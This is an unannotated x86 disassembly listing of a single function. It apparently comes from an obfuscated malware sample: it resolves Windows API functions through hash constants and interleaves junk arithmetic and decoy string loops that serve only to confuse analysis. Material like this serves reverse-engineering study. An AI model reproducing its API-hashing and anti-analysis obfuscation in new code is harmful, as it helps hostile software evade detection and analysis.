mov dword [0x411fa0], edx
mov dword [0x411fb8], eax
call fcn.0040de0c
mov dword [esp + 4], 0x5c83203d
mov eax, dword [esi + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov esi, dword [0x410be8]
mov dword [esi + 0x4c], eax
mov eax, dword [0x411fb8]
or eax, 0x33c5463c
mov dword [0x411f74], eax
mov eax, dword [0x412200]
xor eax, 0x842a98bc
mov dword [0x41217c], eax
call fcn.0040de0c
mov dword [esp + 4], 0x594aab5e
mov eax, dword [esi + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x50], edx
mov dword [esp + 4], 0xe2246555
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x54], edx
mov dword [esp + 4], 0x40c70a35
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, dword [0x410be8]
mov dword [edx + 0x58], eax
call fcn.00401524
mov dword [ebp - 0x54c], eax
test eax, eax
jne 0x40832c
mov eax, dword [0x411fa0]
xor ecx, ecx
and eax, 0x65cb7dbe
mov dword [0x411fb8], eax
imul eax, dword [0x411f74], 0x5f62ecd7
mov dword [0x41217c], eax
lea eax, [ebp - 0x464]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ecx
mov eax, dword [0x410be8]
call dword [eax + 0x6c]
mov eax, dword [0x410be8]
sub esp, 0xc
call dword [eax + 0x70]
cmp eax, 0xb7
je 0x40832c
call fcn.00405864
mov dword [esp], 1
xor esi, esi
call fcn.0040b958
mov dword [esp + 4], 4
mov dword [esp], ebx
call fcn.0040b904
mov eax, dword [0x411fa0]
sub eax, 0x3a9a1978
mov dword [0x411fb8], eax
call dword [ebx + esi*4]
test eax, eax
je 0x40832c
inc esi
cmp esi, 4
jne 0x407dbc
mov eax, dword [0x412200]
xor eax, 0x807882d7
mov dword [0x411fa0], eax
mov eax, dword [0x410be8]
mov dword [eax + 0x150], 0xffff
mov dword [esp], 0xffffffff
call fcn.00409e74
test eax, eax
mov eax, dword [0x410be8]
je 0x407e0b
mov word [eax + 0x150], 9
jmp 0x407e14
mov word [eax + 0x150], 0
mov edi, dword [0x412200]
xor ecx, ecx
xor ebx, ebx
lea edx, [edi - 0xf65d8e0]
mov dword [0x411fa0], edx
lea edx, [ebp - 0x538]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x528]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 8], ebx
mov dword [esp + 4], ebx
mov dword [esp], edx
call dword [eax + 0x4c]
mov eax, dword [0x411fb8]
sub esp, 0x20
imul edx, eax, 0xa8cf9ba1
and eax, 0x5d2487c3
mov dword [0x411f74], eax
mov dword [0x412200], edx
mov dword [esp + 4], 0x208
mov dword [esp], 0x40
mov eax, dword [0x410be8]
call dword [eax + 0x50]
push esi
mov edi, eax
push esi
mov dword [esp + 4], 0x208
mov dword [esp], 0x40
mov eax, dword [0x410be8]
call dword [eax + 0x50]
push edx
mov esi, eax
push edx
mov dword [ebp - 0x530], 0x208
mov dword [ebp - 0x52c], 0x208
mov dword [esp + 4], 0x400
mov dword [esp], 0x40
mov eax, dword [0x410be8]
call dword [eax + 0x50]
push ecx
mov ebx, eax
lea eax, [ebp - 0x530]
push ecx
mov dword [esp + 4], eax
mov dword [esp], edi
mov eax, dword [0x410be8]
call dword [eax + 0xec]
push edx
push edx
test eax, eax
je 0x40832c
mov edx, str.Msg:__ws_
mov ecx, 0x1923
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x407f1c
add ecx, eax
cmp ecx, 0x1bbb
jbe 0x407f07
mov eax, dword [0x41217c]
and eax, 0x9d19afb1
mov dword [0x411fa0], eax
sub eax, 0x1cd221ea
mov dword [0x412200], eax
call fcn.0040dd3c
lea eax, [ebp - 0x52c]
mov dword [esp], esi
mov dword [esp + 4], eax
mov eax, dword [0x410be8]
call dword [eax + 0xb4]
push edx
push edx
test eax, eax
je 0x40832c
lea eax, [ebp - 0x514]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [0x410be8]
call dword [eax + 0xd4]
mov edx, dword [ebp - 0x538]
mov dword [ebp - 0x550], edx
mov dword [esp], ebx
call fcn.0040bdcc
mov edx, dword [ebp - 0x550]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.00403e64
mov dword [ebp - 0x534], eax
test ebx, ebx
je 0x408008
xor eax, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0040574c
mov dword [esp], ebx
mov eax, dword [0x410be8]
call dword [eax + 0x58]
push eax
xor eax, eax
cmp byte [eax + 0x41264c], 0
je 0x407ff9
inc eax
cmp eax, 0xe51
jne 0x407fd4
call fcn.0040de0c
mov eax, dword [0x412200]
and eax, 0xb5021337
mov dword [0x411fa0], eax
imul eax, dword [0x412200], 0xea543e8c
mov dword [0x411fb8], eax
test edi, edi
je 0x408069
mov eax, dword [ebp - 0x530]
mov dword [esp], edi
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
call fcn.0040574c
mov edx, 0x41297c
mov ecx, 0x4f2
movzx eax, byte [edx]
inc edx
test al, al
je 0x408040
add ecx, eax
cmp ecx, 0x2291
jbe 0x40802e
mov eax, dword [0x411f74]
mov edx, eax
add eax, 0x3a713ed2
or edx, 0x30ad6133
mov dword [0x411fb8], eax
mov dword [0x41217c], edx
mov dword [esp], edi
mov eax, dword [0x410be8]
call dword [eax + 0x58]
push edi
test esi, esi
je 0x408091
mov eax, dword [ebp - 0x52c]
xor ecx, ecx
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0040574c
mov dword [esp], esi
mov eax, dword [0x410be8]
call dword [eax + 0x58]
push ebx
cmp byte [str.ks_Arab], 0
je 0x4080a9
mov eax, dword [0x411fa0]
and eax, 0xc5a962bc
mov dword [0x411f74], eax
mov eax, dword [0x41217c]
lea edi, [ebp - 0x538]
or eax, 0xdbfa87bb
add eax, 0x6c39e9c6
mov dword [0x411fb8], eax
call fcn.0040dd3c
lea eax, [ebp - 0x534]
mov dword [esp], eax
call fcn.00409f48
add dword [0x411f74], 0x62fb17c8
mov esi, eax
mov eax, dword [0x411fa0]
xor eax, 0xdaca291b
or eax, 0xa4a3ad56
mov dword [0x411fb8], eax
mov dword [esp], edi
call fcn.00409f48
xor eax, eax
cmp byte [eax + 0x41297c], 0
je 0x40814b
inc eax
cmp eax, 0x1152
jne 0x408100
mov eax, dword [0x412200]
mov edx, dword [0x411f74]
mov dword [esp + 4], str.Msg:__ws_
mov dword [esp], 0x413b24
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
call fcn.0040e004
mov eax, dword [0x411fb8]
and eax, 0x2dc3fd70
mov dword [0x41217c], eax
call fcn.0040e574
mov ebx, dword [0x41217c]
imul eax, ebx, 0xe4ecac07
mov dword [0x412200], eax
call fcn.0040de0c
imul eax, ebx, 0xc8b886e0
sub ebx, 0x14e9edf2
mov dword [0x411f74], ebx
mov dword [0x411fb8], eax
call fcn.0040e574
mov dword [esp], edi
call fcn.00409f48
mov ebx, eax
imul eax, dword [0x41217c], 0x4f787539
mov dword [0x411fa0], eax
mov dword [esp], edi
call fcn.00409f48
mov ecx, dword [ebp - 0x54c]
inc dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 8
mov byte [ebp + ecx - 0x4e8], al
jne 0x40818c
mov edi, dword [0x410be8]
mov dword [esp], 0x208
call fcn.00405830
mov edx, dword [0x410be8]
mov dword [edi + 0x13c], eax
mov ecx, dword [edx + 0x13c]
test ecx, ecx
je 0x408338
mov eax, dword [0x411fb8]
movzx ebx, bx
xor eax, 0x7cfc5f75
mov dword [0x41217c], eax
mov eax, dword [ebp - 0x4e4]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x4a4]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [edx + 0xc4]
mov ebx, dword [0x410be8]
cmp dword [ebx + 0x158], 0
je 0x408254
cmp byte [0x41297c], 0
mov eax, dword [0x411fb8]
je 0x4082dc
imul edx, eax, 0x3222ca9a
mov dword [0x411fa0], edx
jmp 0x4082dc
mov edx, str.HKEY_DYN_DATA
mov ecx, 0x8d1
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x408282
add ecx, eax
cmp ecx, 0xa19
jbe 0x40825e
mov eax, dword [0x411fa0]
xor eax, 0x3766051f
mov dword [0x412200], eax
mov eax, dword [0x41217c]
xor eax, 0xa19c2693
mov dword [0x411f74], eax
mov eax, dword [0x412200]
and eax, 0xb4fc3c4a
mov dword [0x411fb8], eax
mov dword [esp + 4], 0x20
mov dword [esp], 0x40
call dword [ebx + 0x50]
push edx
push edx
mov dword [ebx + 0x158], eax
xor ebx, ebx
call fcn.0040a1a0
mov edx, eax
mov eax, dword [0x410be8]
mov eax, dword [eax + 0x158]
mov byte [eax + ebx], dl
inc ebx
cmp ebx, 0x20
jne 0x4082bc
jmp 0x408231
or eax, 0x292432a0
mov ebx, 0x19
or dword [0x412200], 0x95bab368
mov dword [0x411fb8], eax
call fcn.0040a1a0
xor edx, edx
mov ecx, dword [0x410be8]
div ebx
mov eax, dword [ecx + 0x1a0]
mov dword [ecx + 0x15c], edx
mov edx, dword [eax + 0x20]
mov eax, dword [eax + 0x24]
mov dword [ecx + 0x144], edx
mov dword [ecx + 0x148], eax
xor eax, eax
mov dword [ecx + 0x140], eax
jmp 0x408338
mov eax, dword [0x410be8]
mov dword [eax + 8], 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret